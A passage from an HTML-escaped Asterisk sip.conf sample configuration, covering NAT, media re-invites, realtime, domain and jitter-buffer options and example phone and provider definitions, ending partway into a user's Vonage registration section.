of network addresses that are considered "inside" of the NATted network.&lt;br /&gt;;   IF LOCALNET IS NOT SET, THE EXTERNAL ADDRESS WILL NOT BE SET CORRECTLY.&lt;br /&gt;;   Multiple entries are allowed, e.g. a reasonable set is the following:&lt;br /&gt;;&lt;br /&gt;;      localnet=192.168.0.0/255.255.0.0 ; RFC 1918 addresses&lt;br /&gt;;      localnet=10.0.0.0/255.0.0.0      ; Also RFC1918&lt;br /&gt;;      localnet=172.16.0.0/12           ; Another RFC1918 with CIDR notation&lt;br /&gt;;      localnet=169.254.0.0/255.255.0.0 ; Zero conf local network&lt;br /&gt;;&lt;br /&gt;; + the "externally visible" address and port number to be used when talking&lt;br /&gt;;   to a host outside the NAT. This information is derived by one of the&lt;br /&gt;;   following (mutually exclusive) config file parameters:&lt;br /&gt;;&lt;br /&gt;;   a. "externip = hostname[:port]" specifies a static address[:port] to&lt;br /&gt;;      be used in SIP and SDP messages.&lt;br /&gt;;      The hostname is looked up only once, when [re]loading sip.conf .&lt;br /&gt;;      If a port number is not present, use the "bindport" value (which is&lt;br /&gt;;      not guaranteed to work correctly, because a NAT box might remap the&lt;br /&gt;;      port number as well as the address).&lt;br /&gt;;      This approach can be useful if you have a NAT device where you can&lt;br /&gt;;      configure the mapping statically. Examples:&lt;br /&gt;;&lt;br /&gt;;        externip = 12.34.56.78          ; use this address.&lt;br /&gt;;        externip = 12.34.56.78:9900     ; use this address and port.&lt;br /&gt;;        externip = mynat.my.org:12600   ; Public address of my nat box.&lt;br /&gt;;&lt;br /&gt;;   b. "externhost = hostname[:port]" is similar to "externip" except&lt;br /&gt;;      that the hostname is looked up every "externrefresh" seconds&lt;br /&gt;;      (default 10s). This can be useful when your NAT device lets you choose&lt;br /&gt;;      the port mapping, but the IP address is dynamic.&lt;br /&gt;;      Beware, you might suffer from service disruption when the name server&lt;br /&gt;;      resolution fails. Examples:&lt;br /&gt;;&lt;br /&gt;;        externhost=foo.dyndns.net       ; refreshed periodically&lt;br /&gt;;        externrefresh=180               ; change the refresh interval&lt;br /&gt;;&lt;br /&gt;;   c. "stunaddr = stun.server[:port]" queries the STUN server specified&lt;br /&gt;;      as an argument to obtain the external address/port.&lt;br /&gt;;      Queries are also sent periodically every "externrefresh" seconds&lt;br /&gt;;      (as a side effect, sending the query also acts as a keepalive for&lt;br /&gt;;      the state entry on the nat box):&lt;br /&gt;;&lt;br /&gt;;        stunaddr = foo.stun.com:3478&lt;br /&gt;;        externrefresh = 15&lt;br /&gt;;&lt;br /&gt;;   Note that at the moment all these mechanism work only for the SIP socket.&lt;br /&gt;;   The IP address discovered with externip/externhost/STUN is reused for&lt;br /&gt;;   media sessions as well, but the port numbers are not remapped so you&lt;br /&gt;;   may still experience problems.&lt;br /&gt;;&lt;br /&gt;; NOTE 1: in some cases, NAT boxes will use different port numbers in&lt;br /&gt;; the internal&lt;-&gt;external mapping. In these cases, the "externip" and&lt;br /&gt;; "externhost" might not help you configure addresses properly, and you&lt;br /&gt;; really need to use STUN.&lt;br /&gt;;&lt;br /&gt;; NOTE 2: when using "externip" or "externhost", the address part is&lt;br /&gt;; also used as the external address for media sessions.&lt;br /&gt;; If you use "stunaddr", STUN queries will be sent to the same server&lt;br /&gt;; also from media sockets, and this should permit a correct mapping of&lt;br /&gt;; the port numbers as well.&lt;br /&gt;;&lt;br /&gt;; In addition to the above, Asterisk has an additional "nat" parameter to&lt;br /&gt;; address NAT-related issues in incoming SIP or media sessions.&lt;br /&gt;; In particular, depending on the 'nat= ' settings described below, Asterisk&lt;br /&gt;; may override the address/port information specified in the SIP/SDP messages,&lt;br /&gt;; and use the information (sender address) supplied by the network stack instead.&lt;br /&gt;; However, this is only useful if the external traffic can reach us.&lt;br /&gt;; The following settings are allowed (both globally and in individual sections):&lt;br /&gt;;&lt;br /&gt;;        nat = no                ; default. Use NAT mode only according to RFC3581 (;rport)&lt;br /&gt;;        nat = yes               ; Always ignore info and assume NAT&lt;br /&gt;;        nat = never             ; Never attempt NAT mode or RFC3581 support&lt;br /&gt;;        nat = route             ; route = Assume NAT, don't send rport &lt;br /&gt;;                                ; (work around more UNIDEN bugs)&lt;br /&gt;&lt;br /&gt;;----------------------------------- MEDIA HANDLING --------------------------------&lt;br /&gt;; By default, Asterisk tries to re-invite media streams to an optimal path. If there's&lt;br /&gt;; no reason for Asterisk to stay in the media path, the media will be redirected.&lt;br /&gt;; This does not really work well in the case where Asterisk is outside and the&lt;br /&gt;; clients are on the inside of a NAT. In that case, you want to set directmedia=nonat.&lt;br /&gt;;&lt;br /&gt;;directmedia=yes                ; Asterisk by default tries to redirect the&lt;br /&gt;                                ; RTP media stream to go directly from&lt;br /&gt;                                ; the caller to the callee.  Some devices do not&lt;br /&gt;                                ; support this (especially if one of them is behind a NAT).&lt;br /&gt;                                ; The default setting is YES. If you have all clients&lt;br /&gt;                                ; behind a NAT, or for some other reason want Asterisk to&lt;br /&gt;                                ; stay in the audio path, you may want to turn this off.&lt;br /&gt;&lt;br /&gt;                                ; This setting also affect direct RTP&lt;br /&gt;                                ; at call setup (a new feature in 1.4 - setting up the&lt;br /&gt;                                ; call directly between the endpoints instead of sending&lt;br /&gt;                                ; a re-INVITE).&lt;br /&gt;&lt;br /&gt;;directrtpsetup=yes             ; Enable the new experimental direct RTP setup. This sets up&lt;br /&gt;                                ; the call directly with media peer-2-peer without re-invites.&lt;br /&gt;                                ; Will not work for video and cases where the callee sends &lt;br /&gt;                                ; RTP payloads and fmtp headers in the 200 OK that does not match the&lt;br /&gt;                                ; callers INVITE. This will also fail if directmedia is enabled when&lt;br /&gt;                                ; the device is actually behind NAT.&lt;br /&gt;&lt;br /&gt;                                ; Additionally this option does not disable all reINVITE operations.&lt;br /&gt;                                ; It only controls Asterisk generating reINVITEs for the specific&lt;br /&gt;                                ; purpose of setting up a direct media path. If a reINVITE is&lt;br /&gt;                                ; needed to switch a media stream to inactive (when placed on&lt;br /&gt;                                ; hold) or to T.38, it will still be done, regardless of this &lt;br /&gt;                                ; setting. Note that direct T.38 is not supported.&lt;br /&gt;&lt;br /&gt;;directmedia=nonat              ; An additional option is to allow media path redirection&lt;br /&gt;                                ; (reinvite) but only when the peer where the media is being&lt;br /&gt;                                ; sent is known to not be behind a NAT (as the RTP core can&lt;br /&gt;                                ; determine it based on the apparent IP address the media&lt;br /&gt;                                ; arrives from).&lt;br /&gt;&lt;br /&gt;;directmedia=update             ; Yet a third option... use UPDATE for media path redirection,&lt;br /&gt;                                ; instead of INVITE. This can be combined with 'nonat', as&lt;br /&gt;                                ; 'directmedia=update,nonat'. It implies 'yes'.&lt;br /&gt;&lt;br /&gt;;ignoresdpversion=yes           ; By default, Asterisk will honor the session version&lt;br /&gt;                                ; number in SDP packets and will only modify the SDP&lt;br /&gt;                                ; session if the version number changes. This option will&lt;br /&gt;                                ; force asterisk to ignore the SDP session version number&lt;br /&gt;                                ; and treat all SDP data as new data.  This is required&lt;br /&gt;                                ; for devices that send us non standard SDP packets&lt;br /&gt;                                ; (observed with Microsoft OCS). By default this option is&lt;br /&gt;                                ; off.&lt;br /&gt;&lt;br /&gt;;----------------------------------------- REALTIME SUPPORT ------------------------&lt;br /&gt;; For additional information on ARA, the Asterisk Realtime Architecture,&lt;br /&gt;; please read realtime.txt and extconfig.txt in the /doc directory of the&lt;br /&gt;; source code.&lt;br /&gt;;&lt;br /&gt;;rtcachefriends=yes             ; Cache realtime friends by adding them to the internal list&lt;br /&gt;                                ; just like friends added from the config file only on a&lt;br /&gt;                                ; as-needed basis? (yes|no)&lt;br /&gt;&lt;br /&gt;;rtsavesysname=yes              ; Save systemname in realtime database at registration&lt;br /&gt;                                ; Default= no&lt;br /&gt;&lt;br /&gt;;rtupdate=yes                   ; Send registry updates to database using realtime? (yes|no)&lt;br /&gt;                                ; If set to yes, when a SIP UA registers successfully, the ip address,&lt;br /&gt;                                ; the origination port, the registration period, and the username of&lt;br /&gt;                                ; the UA will be set to database via realtime. &lt;br /&gt;                                ; If not present, defaults to 'yes'. Note: realtime peers will&lt;br /&gt;                                ; probably not function across reloads in the way that you expect, if&lt;br /&gt;                                ; you turn this option off.&lt;br /&gt;;rtautoclear=yes                ; Auto-Expire friends created on the fly on the same schedule&lt;br /&gt;                                ; as if it had just registered? (yes|no|&lt;seconds&gt;)&lt;br /&gt;                                ; If set to yes, when the registration expires, the friend will&lt;br /&gt;                                ; vanish from the configuration until requested again. If set&lt;br /&gt;                                ; to an integer, friends expire within this number of seconds&lt;br /&gt;                                ; instead of the registration interval.&lt;br /&gt;&lt;br /&gt;;ignoreregexpire=yes            ; Enabling this setting has two functions:&lt;br /&gt;                                ;&lt;br /&gt;                                ; For non-realtime peers, when their registration expires, the&lt;br /&gt;                                ; information will _not_ be removed from memory or the Asterisk database&lt;br /&gt;                                ; if you attempt to place a call to the peer, the existing information&lt;br /&gt;                                ; will be used in spite of it having expired&lt;br /&gt;                                ;&lt;br /&gt;                                ; For realtime peers, when the peer is retrieved from realtime storage,&lt;br /&gt;                                ; the registration information will be used regardless of whether&lt;br /&gt;                                ; it has expired or not; if it expires while the realtime peer &lt;br /&gt;                                ; is still in memory (due to caching or other reasons), the &lt;br /&gt;                                ; information will not be removed from realtime storage&lt;br /&gt;&lt;br /&gt;;----------------------------------------- SIP DOMAIN SUPPORT ------------------------&lt;br /&gt;; Incoming INVITE and REFER messages can be matched against a list of 'allowed'&lt;br /&gt;; domains, each of which can direct the call to a specific context if desired.&lt;br /&gt;; By default, all domains are accepted and sent to the default context or the&lt;br /&gt;; context associated with the user/peer placing the call.&lt;br /&gt;; REGISTER to non-local domains will be automatically denied if a domain&lt;br /&gt;; list is configured.&lt;br /&gt;;&lt;br /&gt;; Domains can be specified using:&lt;br /&gt;; domain=&lt;domain&gt;[,&lt;context&gt;]&lt;br /&gt;; Examples:&lt;br /&gt;; domain=myasterisk.dom&lt;br /&gt;; domain=customer.com,customer-context&lt;br /&gt;;&lt;br /&gt;; In addition, all the 'default' domains associated with a server should be&lt;br /&gt;; added if incoming request filtering is desired.&lt;br /&gt;; autodomain=yes&lt;br /&gt;;&lt;br /&gt;; To disallow requests for domains not serviced by this server:&lt;br /&gt;; allowexternaldomains=no&lt;br /&gt;&lt;br /&gt;;domain=mydomain.tld,mydomain-incoming&lt;br /&gt;                                ; Add domain and configure incoming context&lt;br /&gt;                                ; for external calls to this domain&lt;br /&gt;;domain=1.2.3.4                 ; Add IP address as local domain&lt;br /&gt;                                ; You can have several "domain" settings&lt;br /&gt;;allowexternaldomains=no        ; Disable INVITE and REFER to non-local domains&lt;br /&gt;                                ; Default is yes&lt;br /&gt;;autodomain=yes                 ; Turn this on to have Asterisk add local host&lt;br /&gt;                                ; name and local IP to domain list.&lt;br /&gt;&lt;br /&gt;; fromdomain=mydomain.tld       ; When making outbound SIP INVITEs to&lt;br /&gt;                                ; non-peers, use your primary domain "identity"&lt;br /&gt;                                ; for From: headers instead of just your IP&lt;br /&gt;                                ; address. This is to be polite and&lt;br /&gt;                                ; it may be a mandatory requirement for some&lt;br /&gt;                                ; destinations which do not have a prior&lt;br /&gt;                                ; account relationship with your server. &lt;br /&gt;&lt;br /&gt;;------------------------------ JITTER BUFFER CONFIGURATION --------------------------&lt;br /&gt;; jbenable = yes              ; Enables the use of a jitterbuffer on the receiving side of a&lt;br /&gt;                              ; SIP channel. Defaults to "no". An enabled jitterbuffer will&lt;br /&gt;                              ; be used only if the sending side can create and the receiving&lt;br /&gt;                              ; side can not accept jitter. The SIP channel can accept jitter,&lt;br /&gt;                              ; thus a jitterbuffer on the receive SIP side will be used only&lt;br /&gt;                              ; if it is forced and enabled.&lt;br /&gt;&lt;br /&gt;; jbforce = no                ; Forces the use of a jitterbuffer on the receive side of a SIP&lt;br /&gt;                              ; channel. Defaults to "no".&lt;br /&gt;&lt;br /&gt;; jbmaxsize = 200             ; Max length of the jitterbuffer in milliseconds.&lt;br /&gt;&lt;br /&gt;; jbresyncthreshold = 1000    ; Jump in the frame timestamps over which the jitterbuffer is&lt;br /&gt;                              ; resynchronized. Useful to improve the quality of the voice, with&lt;br /&gt;                              ; big jumps in/broken timestamps, usually sent from exotic devices&lt;br /&gt;                              ; and programs. Defaults to 1000.&lt;br /&gt;&lt;br /&gt;; jbimpl = fixed              ; Jitterbuffer implementation, used on the receiving side of a SIP&lt;br /&gt;                              ; channel. Two implementations are currently available - "fixed"&lt;br /&gt;                              ; (with size always equals to jbmaxsize) and "adaptive" (with&lt;br /&gt;                              ; variable size, actually the new jb of IAX2). Defaults to fixed.&lt;br /&gt;&lt;br /&gt;; jbtargetextra = 40          ; This option only affects the jb when 'jbimpl = adaptive' is set.&lt;br /&gt;                              ; The option represents the number of milliseconds by which the new jitter buffer&lt;br /&gt;                              ; will pad its size. the default is 40, so without modification, the new&lt;br /&gt;                              ; jitter buffer will set its size to the jitter value plus 40 milliseconds.&lt;br /&gt;                              ; increasing this value may help if your network normally has low jitter,&lt;br /&gt;                              ; but occasionally has spikes.&lt;br /&gt;&lt;br /&gt;; jblog = no                  ; Enables jitterbuffer frame logging. Defaults to "no".&lt;br /&gt;;-----------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;[authentication]&lt;br /&gt;; Global credentials for outbound calls, i.e. when a proxy challenges your&lt;br /&gt;; Asterisk server for authentication. These credentials override&lt;br /&gt;; any credentials in peer/register definition if realm is matched.&lt;br /&gt;;&lt;br /&gt;; This way, Asterisk can authenticate for outbound calls to other&lt;br /&gt;; realms. We match realm on the proxy challenge and pick an set of &lt;br /&gt;; credentials from this list&lt;br /&gt;; Syntax:&lt;br /&gt;;        auth = &lt;user&gt;:&lt;secret&gt;@&lt;realm&gt;&lt;br /&gt;;        auth = &lt;user&gt;#&lt;md5secret&gt;@&lt;realm&gt;&lt;br /&gt;; Example:&lt;br /&gt;;auth=mark:topsecret@digium.com&lt;br /&gt;; &lt;br /&gt;; You may also add auth= statements to [peer] definitions &lt;br /&gt;; Peer auth= override all other authentication settings if we match on realm&lt;br /&gt;&lt;br /&gt;;------------------------------------------------------------------------------&lt;br /&gt;; DEVICE CONFIGURATION&lt;br /&gt;; &lt;br /&gt;; The SIP channel has two types of devices, the friend and the peer.&lt;br /&gt;; * The type=friend is a device type that accepts both incoming and outbound calls,&lt;br /&gt;;   where Asterisk match on the From: username on incoming calls.&lt;br /&gt;;   (A synonym for friend is "user"). This is a type you use for your local&lt;br /&gt;;   SIP phones.&lt;br /&gt;; * The type=peer also handles both incoming and outbound calls. On inbound calls,&lt;br /&gt;;   Asterisk only matches on IP/port, not on names. This is mostly used for SIP&lt;br /&gt;;   trunks.&lt;br /&gt;;&lt;br /&gt;; For device names, we recommend using only a-z, numerics (0-9) and underscore&lt;br /&gt;; &lt;br /&gt;; For local phones, type=friend works most of the time&lt;br /&gt;;&lt;br /&gt;; If you have one-way audio, you probably have NAT problems. &lt;br /&gt;; If Asterisk is on a public IP, and the phone is inside of a NAT device&lt;br /&gt;; you will need to configure nat option for those phones.&lt;br /&gt;; Also, turn on qualify=yes to keep the nat session open&lt;br /&gt;; &lt;br /&gt;; Configuration options available &lt;br /&gt;; --------------------     &lt;br /&gt;; context&lt;br /&gt;; callingpres&lt;br /&gt;; permit&lt;br /&gt;; deny&lt;br /&gt;; secret&lt;br /&gt;; md5secret&lt;br /&gt;; remotesecret&lt;br /&gt;; transport&lt;br /&gt;; dtmfmode&lt;br /&gt;; directmedia&lt;br /&gt;; nat&lt;br /&gt;; callgroup&lt;br /&gt;; pickupgroup&lt;br /&gt;; language&lt;br /&gt;; allow&lt;br /&gt;; disallow&lt;br /&gt;; insecure&lt;br /&gt;; trustrpid&lt;br /&gt;; progressinband&lt;br /&gt;; promiscredir&lt;br /&gt;; useclientcode&lt;br /&gt;; accountcode&lt;br /&gt;; setvar&lt;br /&gt;; callerid&lt;br /&gt;; amaflags&lt;br /&gt;; callcounter&lt;br /&gt;; busylevel&lt;br /&gt;; allowoverlap&lt;br /&gt;; allowsubscribe&lt;br /&gt;; allowtransfer&lt;br /&gt;; ignoresdpversion&lt;br /&gt;; subscribecontext&lt;br /&gt;; template&lt;br /&gt;; videosupport&lt;br /&gt;; maxcallbitrate&lt;br /&gt;; rfc2833compensate&lt;br /&gt;; mailbox&lt;br /&gt;; session-timers&lt;br /&gt;; session-expires&lt;br /&gt;; session-minse&lt;br /&gt;; session-refresher&lt;br /&gt;; t38pt_usertpsource&lt;br /&gt;; regexten&lt;br /&gt;; fromdomain&lt;br /&gt;; fromuser&lt;br /&gt;; host&lt;br /&gt;; port&lt;br /&gt;; qualify&lt;br /&gt;; defaultip&lt;br /&gt;; defaultuser&lt;br /&gt;; rtptimeout&lt;br /&gt;; rtpholdtimeout&lt;br /&gt;; sendrpid&lt;br /&gt;; outboundproxy&lt;br /&gt;; rfc2833compensate&lt;br /&gt;; callbackextension&lt;br /&gt;; registertrying&lt;br /&gt;; timert1&lt;br /&gt;; timerb&lt;br /&gt;; qualifyfreq&lt;br /&gt;; t38pt_usertpsource&lt;br /&gt;; contactpermit         ; Limit what a host may register as (a neat trick&lt;br /&gt;; contactdeny           ; is to register at the same IP as a SIP provider,&lt;br /&gt;;                       ; then call oneself, and get redirected to that&lt;br /&gt;;                       ; same location).&lt;br /&gt;&lt;br /&gt;;[sip_proxy]&lt;br /&gt;; For incoming calls only. Example: FWD (Free World Dialup)&lt;br /&gt;; We match on IP address of the proxy for incoming calls &lt;br /&gt;; since we can not match on username (caller id)&lt;br /&gt;;type=peer&lt;br /&gt;;context=from-fwd&lt;br /&gt;;host=fwd.pulver.com&lt;br /&gt;&lt;br /&gt;;[sip_proxy-out]&lt;br /&gt;;type=peer                        ; we only want to call out, not be called&lt;br /&gt;;remotesecret=guessit             ; Our password to their service&lt;br /&gt;;defaultuser=yourusername         ; Authentication user for outbound proxies&lt;br /&gt;;fromuser=yourusername            ; Many SIP providers require this!&lt;br /&gt;;fromdomain=provider.sip.domain &lt;br /&gt;;host=box.provider.com&lt;br /&gt;;transport=udp,tcp                ; This sets the default transport type to udp for outgoing, and will&lt;br /&gt;;                                 ; accept both tcp and udp. The default transport type is only used for&lt;br /&gt;;                                 ; outbound messages until a Registration takes place.  During the&lt;br /&gt;;                                 ; peer Registration the transport type may change to another supported&lt;br /&gt;;                                 ; type if the peer requests so.&lt;br /&gt;&lt;br /&gt;;usereqphone=yes                  ; This provider requires ";user=phone" on URI&lt;br /&gt;;callcounter=yes                  ; Enable call counter&lt;br /&gt;;busylevel=2                      ; Signal busy at 2 or more calls&lt;br /&gt;;outboundproxy=proxy.provider.domain  ; send outbound signaling to this proxy, not directly to the peer&lt;br /&gt;;port=80                          ; The port number we want to connect to on the remote side&lt;br /&gt;                                  ; Also used as "defaultport" in combination with "defaultip" settings&lt;br /&gt;&lt;br /&gt;;--- sample definition for a provider&lt;br /&gt;;[provider1]&lt;br /&gt;;type=peer&lt;br /&gt;;host=sip.provider1.com&lt;br /&gt;;fromuser=4015552299              ; how your provider knows you&lt;br /&gt;;remotesecret=youwillneverguessit ; The password we use to authenticate to them&lt;br /&gt;;secret=gissadetdu                ; The password they use to contact us&lt;br /&gt;;callbackextension=123            ; Register with this server and require calls coming back to this extension&lt;br /&gt;;transport=udp,tcp                ; This sets the transport type to udp for outgoing, and will&lt;br /&gt;;                                 ;   accept both tcp and udp. Default is udp. The first transport&lt;br /&gt;;                                 ;   listed will always be used for outgoing connections.&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Because you might have a large number of similar sections, it is generally&lt;br /&gt;; convenient to use templates for the common parameters, and add them&lt;br /&gt;; the the various sections. Examples are below, and we can even leave&lt;br /&gt;; the templates uncommented as they will not harm:&lt;br /&gt;&lt;br /&gt;[basic-options](!)                ; a template&lt;br /&gt;        dtmfmode=rfc2833&lt;br /&gt;        context=from-office&lt;br /&gt;        type=friend&lt;br /&gt;&lt;br /&gt;[natted-phone](!,basic-options)   ; another template inheriting basic-options&lt;br /&gt;        nat=yes&lt;br /&gt;        directmedia=no&lt;br /&gt;        host=dynamic&lt;br /&gt;&lt;br /&gt;[public-phone](!,basic-options)   ; another template inheriting basic-options&lt;br /&gt;        nat=no&lt;br /&gt;        directmedia=yes&lt;br /&gt;&lt;br /&gt;[my-codecs](!)                    ; a template for my preferred codecs&lt;br /&gt;        disallow=all&lt;br /&gt;        allow=ilbc&lt;br /&gt;        allow=g729&lt;br /&gt;        allow=gsm&lt;br /&gt;        allow=g723&lt;br /&gt;        allow=ulaw&lt;br /&gt;&lt;br /&gt;[ulaw-phone](!)                   ; and another one for ulaw-only&lt;br /&gt;        disallow=all&lt;br /&gt;        allow=ulaw&lt;br /&gt;&lt;br /&gt;; and finally instantiate a few phones&lt;br /&gt;;&lt;br /&gt;; [2133](natted-phone,my-codecs)&lt;br /&gt;;        secret = peekaboo&lt;br /&gt;; [2134](natted-phone,ulaw-phone)&lt;br /&gt;;        secret = not_very_secret&lt;br /&gt;; [2136](public-phone,ulaw-phone)&lt;br /&gt;;        secret = not_very_secret_either&lt;br /&gt;; ...&lt;br /&gt;;&lt;br /&gt;&lt;br /&gt;; Standard configurations not using templates look like this:&lt;br /&gt;;&lt;br /&gt;;[grandstream1]&lt;br /&gt;;type=friend                         &lt;br /&gt;;context=from-sip                ; Where to start in the dialplan when this phone calls&lt;br /&gt;;callerid=John Doe &lt;1234&gt;        ; Full caller ID, to override the phones config&lt;br /&gt;                                 ; on incoming calls to Asterisk&lt;br /&gt;;host=192.168.0.23               ; we have a static but private IP address&lt;br /&gt;                                 ; No registration allowed&lt;br /&gt;;nat=no                          ; there is not NAT between phone and Asterisk&lt;br /&gt;;directmedia=yes                 ; allow RTP voice traffic to bypass Asterisk&lt;br /&gt;;dtmfmode=info                   ; either RFC2833 or INFO for the BudgeTone&lt;br /&gt;;call-limit=1                    ; permit only 1 outgoing call and 1 incoming call at a time&lt;br /&gt;                                 ; from the phone to asterisk (deprecated)&lt;br /&gt;                                 ; 1 for the explicit peer, 1 for the explicit user,&lt;br /&gt;                                 ; remember that a friend equals 1 peer and 1 user in&lt;br /&gt;                                 ; memory&lt;br /&gt;                                 ; There is no combined call counter for a "friend"&lt;br /&gt;                                 ; so there's currently no way in sip.conf to limit&lt;br /&gt;                                 ; to one inbound or outbound call per phone. Use&lt;br /&gt;                                 ; the group counters in the dial plan for that.&lt;br /&gt;                                 ;&lt;br /&gt;;mailbox=1234@default            ; mailbox 1234 in voicemail context "default"&lt;br /&gt;;disallow=all                    ; need to disallow=all before we can use allow=&lt;br /&gt;;allow=ulaw                      ; Note: In user sections the order of codecs&lt;br /&gt;                                 ; listed with allow= does NOT matter!&lt;br /&gt;;allow=alaw&lt;br /&gt;;allow=g723.1                    ; Asterisk only supports g723.1 pass-thru!&lt;br /&gt;;allow=g729                      ; Pass-thru only unless g729 license obtained&lt;br /&gt;;callingpres=allowed_passed_screen ; Set caller ID presentation&lt;br /&gt;                                 ; See README.callingpres for more information&lt;br /&gt;&lt;br /&gt;;[xlite1]&lt;br /&gt;; Turn off silence suppression in X-Lite ("Transmit Silence"=YES)!&lt;br /&gt;; Note that Xlite sends NAT keep-alive packets, so qualify=yes is not needed&lt;br /&gt;;type=friend&lt;br /&gt;;regexten=1234                   ; When they register, create extension 1234&lt;br /&gt;;callerid="Jane Smith" &lt;5678&gt;&lt;br /&gt;;host=dynamic                    ; This device needs to register&lt;br /&gt;;nat=yes                         ; X-Lite is behind a NAT router&lt;br /&gt;;directmedia=no                  ; Typically set to NO if behind NAT&lt;br /&gt;;disallow=all&lt;br /&gt;;allow=gsm                       ; GSM consumes far less bandwidth than ulaw&lt;br /&gt;;allow=ulaw&lt;br /&gt;;allow=alaw&lt;br /&gt;;mailbox=1234@default,1233@default ; Subscribe to status of multiple mailboxes&lt;br /&gt;;registertrying=yes              ; Send a 100 Trying when the device registers.&lt;br /&gt;&lt;br /&gt;;[snom]&lt;br /&gt;;type=friend                     ; Friends place calls and receive calls&lt;br /&gt;;context=from-sip                ; Context for incoming calls from this user&lt;br /&gt;;secret=blah&lt;br /&gt;;subscribecontext=localextensions ; Only allow SUBSCRIBE for local extensions&lt;br /&gt;;language=de                     ; Use German prompts for this user &lt;br /&gt;;host=dynamic                    ; This peer register with us&lt;br /&gt;;dtmfmode=inband                 ; Choices are inband, rfc2833, or info&lt;br /&gt;;defaultip=192.168.0.59          ; IP used until peer registers&lt;br /&gt;;mailbox=1234@context,2345       ; Mailbox(-es) for message waiting indicator&lt;br /&gt;;subscribemwi=yes                ; Only send notifications if this phone &lt;br /&gt;                                 ; subscribes for mailbox notification&lt;br /&gt;;vmexten=voicemail               ; dialplan extension to reach mailbox &lt;br /&gt;                                 ; sets the Message-Account in the MWI notify message&lt;br /&gt;                                 ; defaults to global vmexten which defaults to "asterisk"&lt;br /&gt;;disallow=all&lt;br /&gt;;allow=ulaw                      ; dtmfmode=inband only works with ulaw or alaw!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;[polycom]&lt;br /&gt;;type=friend                     ; Friends place calls and receive calls&lt;br /&gt;;context=from-sip                ; Context for incoming calls from this user&lt;br /&gt;;secret=blahpoly&lt;br /&gt;;host=dynamic                    ; This peer register with us&lt;br /&gt;;dtmfmode=rfc2833                ; Choices are inband, rfc2833, or info&lt;br /&gt;;defaultuser=polly               ; Username to use in INVITE until peer registers&lt;br /&gt;;defaultip=192.168.40.123&lt;br /&gt;                                 ; Normally you do NOT need to set this parameter&lt;br /&gt;;disallow=all&lt;br /&gt;;allow=ulaw                      ; dtmfmode=inband only works with ulaw or alaw!&lt;br /&gt;;progressinband=no               ; Polycom phones don't work properly with "never"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;[pingtel]&lt;br /&gt;;type=friend&lt;br /&gt;;secret=blah&lt;br /&gt;;host=dynamic&lt;br /&gt;;insecure=port                   ; Allow matching of peer by IP address without &lt;br /&gt;                                 ; matching port number&lt;br /&gt;;insecure=invite                 ; Do not require authentication of incoming INVITEs&lt;br /&gt;;insecure=port,invite            ; (both)&lt;br /&gt;;qualify=1000                    ; Consider it down if it's 1 second to reply&lt;br /&gt;                                 ; Helps with NAT session&lt;br /&gt;                                 ; qualify=yes uses default value&lt;br /&gt;;qualifyfreq=60                  ; Qualification: How often to check for the &lt;br /&gt;                                 ; host to be up in seconds&lt;br /&gt;                                 ; Set to low value if you use low timeout for&lt;br /&gt;                                 ; NAT of UDP sessions&lt;br /&gt;;&lt;br /&gt;; Call group and Pickup group should be in the range from 0 to 63&lt;br /&gt;;&lt;br /&gt;;callgroup=1,3-4                 ; We are in caller groups 1,3,4&lt;br /&gt;;pickupgroup=1,3-5               ; We can do call pick-p for call group 1,3,4,5&lt;br /&gt;;defaultip=192.168.0.60          ; IP address to use if peer has not registered&lt;br /&gt;;deny=0.0.0.0/0.0.0.0            ; ACL: Control access to this account based on IP address&lt;br /&gt;;permit=192.168.0.60/255.255.255.0&lt;br /&gt;;permit=192.168.0.60/24          ; we can also use CIDR notation for subnet masks&lt;br /&gt;&lt;br /&gt;;[cisco1]&lt;br /&gt;;type=friend&lt;br /&gt;;secret=blah&lt;br /&gt;;qualify=200                     ; Qualify peer is no more than 200ms away&lt;br /&gt;;nat=yes                         ; This phone may be natted&lt;br /&gt;                                 ; Send SIP and RTP to the IP address that packet is &lt;br /&gt;                                 ; received from instead of trusting SIP headers &lt;br /&gt;;host=dynamic                    ; This device registers with us&lt;br /&gt;;directmedia=no                  ; Asterisk by default tries to redirect the&lt;br /&gt;                                 ; RTP media stream (audio) to go directly from&lt;br /&gt;                                 ; the caller to the callee.  Some devices do not&lt;br /&gt;                                 ; support this (especially if one of them is &lt;br /&gt;                                 ; behind a NAT).&lt;br /&gt;;defaultip=192.168.0.4           ; IP address to use until registration&lt;br /&gt;;defaultuser=goran               ; Username to use when calling this device before registration&lt;br /&gt;                                 ; Normally you do NOT need to set this parameter&lt;br /&gt;;setvar=CUSTID=5678              ; Channel variable to be set for all calls from or to this device&lt;br /&gt;;setvar=ATTENDED_TRANSFER_COMPLETE_SOUND=beep   ; This channel variable will&lt;br /&gt;                                                ; cause the given audio file to&lt;br /&gt;                                                ; be played upon completion of&lt;br /&gt;                                                ; an attended transfer.&lt;br /&gt;&lt;br /&gt;;[pre14-asterisk]&lt;br /&gt;;type=friend&lt;br /&gt;;secret=digium&lt;br /&gt;;host=dynamic&lt;br /&gt;;rfc2833compensate=yes          ; Compensate for pre-1.4 DTMF transmission from another Asterisk machine.&lt;br /&gt;                                ; You must have this turned on or DTMF reception will work improperly.&lt;br /&gt;;t38pt_usertpsource=yes         ; Use the source IP address of RTP as the destination IP address for UDPTL packets&lt;br /&gt;                                ; if the nat option is enabled. If a single RTP packet is received Asterisk will know the&lt;br /&gt;                                ; external IP address of the remote device. If port forwarding is done at the client side&lt;br /&gt;                                ; then UDPTL will flow to the remote device.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[general]&lt;br /&gt;srvlookup=yes&lt;br /&gt;disallow=all&lt;br /&gt;allow=ulaw&lt;br /&gt;canreinvite=no&lt;br /&gt;&lt;br /&gt;; 12125551234 is your Vonage SoftPhone number.&lt;br /&gt;; zzzzzzzz is your Vonage SoftPhone password.&lt;br /&gt;; The number after the "/" is supposed to be an extension configured&lt;br /&gt;; in the [vonage-exten] context. I have found that Vonage always sends&lt;br /&gt;; the Vonage SoftPhone number regardless of the number specified here,&lt;br /&gt;; so I have specified the Vonage SoftPhone number after the "/" so that&lt;br /&gt;; it is clear what extension will be searched for in [vonage-exten].&lt;br /&gt;register =&gt; 12125551234:zzzzzzzz@sphone.vopr.vonage.net:5061/12125551234&lt;br /&gt;&lt;br /&gt;[vonage-sip]&lt;br 